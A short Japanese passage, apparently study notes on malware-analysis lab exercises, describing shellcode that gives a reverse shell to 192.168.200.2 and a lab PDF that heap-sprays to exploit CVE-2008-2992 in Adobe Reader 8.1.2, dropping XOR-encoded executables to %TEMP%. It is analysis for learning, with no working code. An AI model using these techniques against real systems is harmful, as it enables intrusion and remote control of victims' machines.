と通信するためのTCPソケットを作成し、入力と出力をcmd.exeに渡す。つまり、IPアドレス192.168.200.2
にReverse Shellを提供する。
Lab 19-3
Lab19-03.pdfはHeap Sprayを行いシェルコードを実行するが、模範解答によるとCVE-2008-2992で報告されているAdobe Reader 8.1.2のバッファオーバーフローの脆弱性が悪用されている。
模範解答によると、%TEMP%\foo.exe
と%TEMP%\bar.pdf
はXORエンコードされた状態でLab19-03.pdfに埋め込まれており (XOR鍵は0x4a)、シェルコードが実行されると、これらのファイルがデコードされ、実行される。